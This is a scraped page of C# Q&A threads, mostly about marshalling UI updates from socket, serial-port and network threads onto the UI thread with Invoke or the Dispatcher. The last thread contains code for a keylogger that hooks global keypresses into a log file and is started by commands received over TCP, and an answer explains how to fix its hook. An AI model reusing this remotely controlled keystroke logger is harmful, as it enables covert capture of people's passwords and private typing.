C# Textbox Not Updating When Used With SocketIO4NET - c#

I'm having a strange problem. I'm using SocketIO4Net Client for my program written in C#. The program communicates with server written in NodeJS & SocketIO. I'm able to send & receive data between my program & server using 'socket.emit()' & 'socket.On()' methods in SocketIO4NET Client. However, when i try to update a textbox in the GUI with the data i received from the server, nothing happens. But, if i use 'MessageBox.Show()' method, i can display the data i received. I'm using the following code for receiving data:
public Form1()
{
InitializeComponent();
socket = new Client("http://127.0.0.1:80/");
socket.On("message", (data) =>
{
String msg = data.Json.Args[0].ToString();
MessageBox.Show(msg,"Received Data");
rxtxtbox.Text = msg;
});
socket.Connect();
}
For sending data:
private void sendbtn_Click(object sender, EventArgs e)
{
String msg = msgtxtbox.Text.ToString();
socket.Emit("private message", msg);
}
The above code works fine. But its not updating the TextBox 'rxtxtbox'. If I move the line "rxtxtbox.Text = msg;" above "MessageBox.Show();", then nothing will happen on receiving the "message" event. I tried setting breakpoints & watching the value of the variable "msg" & its fine. I tried declaring another function just to update the textbox & passing "msg" to it & still getting no results! I think this has something to do with waiting for "message" event? I tried "Application.DoEvents()" and "rxtxtbox.Refresh()" methods & still no luck! I'm new to C#. Please help!

You mention that if you place the MessageBox.Show in front of the rxtxtbox.Text - you see the payload data, but having the rxtxtbox.Text first - nothing at all happens.
The event handers from socketIO4Net definitely run on a background thread, so I'd bet you are throwing an exception updating the UI control - from this non-UI thread. My understanding of MessageBox is that it is not tied to the UI, so it could be called from non-ui threads w/o issue.
Try this in place of your rxtxtbox.Text = msg line:
rxtxtbox.Invoke(new Action(() => rxtxtbox.Text = msg)));
This uses something known as a lambda express to create an anonymous delegate that will be executed on the thread that owns the control (textbox in this case) underlying handle.
You could also place this line right before you update the Text property, and inspect it (if true, you are indeed on a non-ui thread, and have found your problem):
bool state = rxtxtbox.InvokeRequired;
There are various ways to deal with updates to the GUI from non-ui threads. Search multithreading winforms gui C# etc here on SO. Any messages raised from socketio4net will need to be handled appropriately, or you will throw UI thread exceptions.

Related

Multithreading using AsyncCallback and GUI controls

Multithread programming is a new concept for me. I’ve done a bunch of reading and even with many examples, I just can’t seem to figure it out. I'm new to C# and programming.
I have a winform project with lots of custom controls I’ve imported and will utilize many tcpclients. I’m trying to get each control to be hosted on it’s own separate thread. Right now, I’m trying to get 1 control to behave appropriately with it’s own thread.
I'll show you what I have and then follow up with some questions regarding guidance.
string asyncServerHolder; // gets the server name from a text_changed event
int asyncPortHolder; // gets the port # from a text_changed event
TcpClient wifiClient = new TcpClient();
private void btnStart_Click(object sender, EventArgs e)
{
... // variable initialization, etc.
... // XML setup, http POST setup.
send(postString + XMLString); // Content to send.
}
private void send(string msg)
{
AsyncCallback callBack = new AsyncCallback(ContentDownload);
wifiClient.BeginConnect(asyncServerHolder, asyncPortHolder, callBack, wifiClient);
wifiClient.Client.Send(System.Text.Encoding.ASCII.GetBytes(msg));
}
private void ContentDownload(IAsyncResult result)
{
if (wifiClient.Connected)
{
string response4 = "Connected!!"; //debug msg
byte[] buff = new byte[1024];
int i = wifiClient.Client.Receive(buff);
do
{
response1 = System.Text.Encoding.UTF8.GetString(buff, 0, i);
} while (response1.Length == 0);
response2 = response1.Substring(9, 3); // pick out status code to be displayed after
wifiClient.Client.Dispose();
wifiClient.Close();
}
}
If you're knowledgeable about this, I bet you see lots of problems above. As it stands right now, I always get an exception one my first iteration of running this sequence:
"A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied"
Why is this? I have confirmed that my asyncServerHolder and my asyncPortHolder are correct. My second iteration of attempting allowed me to see response4 = "Connected!!" but I get a null response on response1.
Eventually I'd like to substitute in my user controls which I have in a List. I'd just like to gracefully connect, send my msg, receive my response and then allow my form to notify me from that particular control which plays host to that tcp client. My next step would be link up many controls.
Some questions:
1) Do I need more TCP clients? Should they be in a list and be the # of controls I have enabled at that time of btnStart_Click?
2) My controls are on my GUI, does that mean I need to invoke if I'm interacting with them?
3) I see many examples using static methods with this context. Why is this?
Thanks in advance. All criticism is welcome, feel free to be harsh!
BeginConnect returns immediately. Probably, no connection has been established yet when Send runs. Make sure that you use the connection only after having connected.
if (wifiClient.Connected) and what if !Connected? You just do nothing. That's not a valid error recovery strategy. Remove this if entirely.
In your read loop you destroy the previously read contents on each iteration. In fact, you can't split up an UTF8 encoded string at all and decode the parts separately. Read all bytes into some buffer and only when you have received everything, decode the bytes to a string.
wifiClient.Client.Dispose();
wifiClient.Close();
Superstitious dispose pattern. wifiClient.Dispose(); is the canonical way to release everything.
I didn't quite understand what "controls" you are talking about. A socket is not a control. UI controls are single-threaded. Only access them on the UI thread.
Do I need more TCP clients?
You need one for each connection.
Probably, you should use await for all blocking operations. There are wrapper libraries that make the socket APIs usable with await.

Invoking with textbox c#

Part of my program uses an event handler for the receive data of my serial port. The idea is when data is received that the text received is then added to the textbox (rx). I did not used to have this problem but something has changed and I can't figure out what. So now I am re-examining the way this is handled.
During the form load of my winform the last thing I do is
if (!serialPort1.IsOpen)
{
serialPort1.Open();
serialPort1.DataReceived += new SerialDataReceivedEventHandler(DataReceivedHandler);
}
Then I have the event handler
private void DataReceivedHandler(object sender, SerialDataReceivedEventArgs e)
{
string indata1 = serialPort1.ReadExisting();
// rx.Text = " "; accidentally posted this. it was from trial and error.
rx.AppendText(Environment.NewLine + indata1);
}
When I run the program it stops at the rx.AppendText(Environment.NewLine + indata1); and gives the error
invalidoperationexception was unhandled: Control "accessed from a
thread other than the thread it was created on.
From what I have been able to read suggests that I need to use invoke or BeginInvoke.
I have never had problems appending the text before so now I can't understand why it's a problem. Also from what I have been reading on invoking i just don't understand it.
Can someone help me understand how to use the invoke instance for my situation? or perhaps show me another way of appending the text box?
Usually the exception you're seeing occurs when you run in debug mode, and if you run your application in release mode, you're unlikely to see the exception.
However, it is best to use invoke, as you have read. Something like this:
private delegate void RefreshTextBox();
private void DataReceivedHandler(object sender, SerialDataReceivedEventArgs e) {
//this event is raised in an event separate from UI thread,
//so InvokeRequired must be checked and Invoke called to update UI controls.
if (this.InvokeRequired) {
RefreshTextBox d = new RefreshTextBox(RefreshTextBoxResults);
Invoke(d);
} else {
RefreshTextBoxResults();
}
}
private void RefreshTextBoxResults() {
string indata1 = serialPort1.ReadExisting();
rx.Text = " ";
rx.AppendText(Environment.NewLine + indata1);
}
The first time you see this invoke stuff, it's nearly impossible to follow, but take a close look and give it some time and it will make sense. Promise. :)
Updates in GUI applications should only be done on the GUI thread. Another thread attempting to update GUI components directly will result in either the error you described or in seemingly random behavior.
The role of Invoke & friends is to enable a secondary thread to safely forward GUI updates to the GUI thread, which will then process them from a queue.
In your case (assuming WinForms here):
rx.BeginInvoke(
(Action)(() =>
{
rx.AppendText(Environment.NewLine + indata1);
}));
BeginInvoke is asynchronous, so the thread calling it will not wait for the actual updates to be processed before moving on, while Invoke is synchronous.

C# Invoke Failing on Thread Function

I'm using a timer to regularly read-in a log file and post certain contents to a textbox in a Windows Form Application I'm developing in C#. I do this by sending a string to set_textbox_thread which posts the text (s) to the appropriate textbox (tbc) in the else below. The code below works in the practice application I built. However, the same code runs, but fails to update my textbox in the full application I'm building. It seems to be failing on the Invoke statement, which fails to call set_textbox_thread again. My theory is that, because my full application has a more complex set of controls, I am not calling Invoke via the correct control. I've tried calling it via "this" the parent panel, the parent form, and the button that triggers set_textbox_thread, and am dealing with the same outcome. Two questions:
Which control should I call Invoke under?
Is there a way to retrieve "the thread that owns the controls underlying windows handle? Can I do this through the Controls.Owner method?
I have tried making this Invoke call using try/catch, but am unable to retrieve an error message in the catch. Any ideas how to resolve the issue this way?
Thanks in advance!
private delegate void stringDelegate(string s);
private void set_textbox_thread(string s)
{
TextBox tbc = get_thread_tb();
if (tbc.InvokeRequired)
{
MessageBox.Show("Invoke Required");
stringDelegate sd = new stringDelegate(set_textbox_thread);
**this.Invoke(sd, new object[] {s });**
MessageBox.Show("Invoke Completed");
}
else
{
1) It doesn't matter what control you invoke under; there is only one UI thread and any control to marshal the call back to that UI thread.
2) what could you possibly do with this thread?
3) not much detail there. How do you know you have error messages? And what do you mean by "error messages"
Call invoke on the text box instead:
tbc.Invoke(sd, new object[] {s });

access object from a different thread

I have a Server class which it basically waits for connections from a client. Inside that class I create an NetworkStream object in order to be able to receive bytes from a client. Because the NetworkStream.Read() method is not asynchronous (meaning that it will wait until it reads bytes from a client in order to proceed executing code similar to the messagebox method), I have to read for bytes in a separate thread so that the user using the program can still interact with the program if the program happens to be waiting to read for data.
anyways a lot of objects are owned by that thread. One example is that I have a List called log in that class. I use that list to know the status of the server. Maybe it is listening for a connection or perhaps it's status is "connected" or "disconnected".
So if I do something like:
Server myServer = new Server("192.168.0.120","1300"...\\ I pass the appropite parameters in order to instantiate it
//...
.. then I am able to latter look at the log as
string foo = myServer.Log[0] for example.
because I want to know when the log is updated, on the server class I have created an event as:
public delegate void onUpdateHandler(string newStatus);
public event onUpdateHandler onUpdate = delegate { };
I then fire events on the Server class as:
onUpdate("waitingForConnection");
and I receive those events with the method:
but if I try to do something with newStatus I get the error stating:
System.InvalidOperationException: The calling thread cannot access this object because a different thread owns it.
so how can I pass an object with an event?
Edit
so I also notice that if I do:
I also get an error!
but when I do the same thing calling that from a button as:
// SERVER IS RUNNING BEFORE CALLING THIS METHOD
private void button3_Click(object sender, RoutedEventArgs e)
{
listView1.Items.Add("my own string");
}
I do NOT get an error!
why is it that I get an error with the event and I do not get an error when calling it with a regular button.
The problem is that the thread tries to access the ListView which is a DependencyObject which has thread affinity, use the Dispatcher to execute methods like this on the UI-thread, e.g.:
Application.Current.Dispatcher.Invoke((Action)(() =>
{
listView1.Items.Add(newStatus);
}));
Also see the threading model reference for additional info.
The problem is not that you try to do something with the value that you sent to the method, the problem is what you are trying to do with it.
The event handler is still running in your background thread, and from there you can't use any UI controls as they belong to the main thread.
The usual way of handling that is to use the CheckAccess method to check if you need to switch treads, and the Invoke method to hand off the work to the main thread:
void server_onUpdate(string newStatus) {
if (!listView1.Dispatcher.CheckAccess()) {
listView1.Dispatcher.Invoke(server_onUpdate, newStatus)
} else {
listView1.Items.Add(newStatus);
}
}

Library works when called in Form1, but not from anywhere else

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

Categories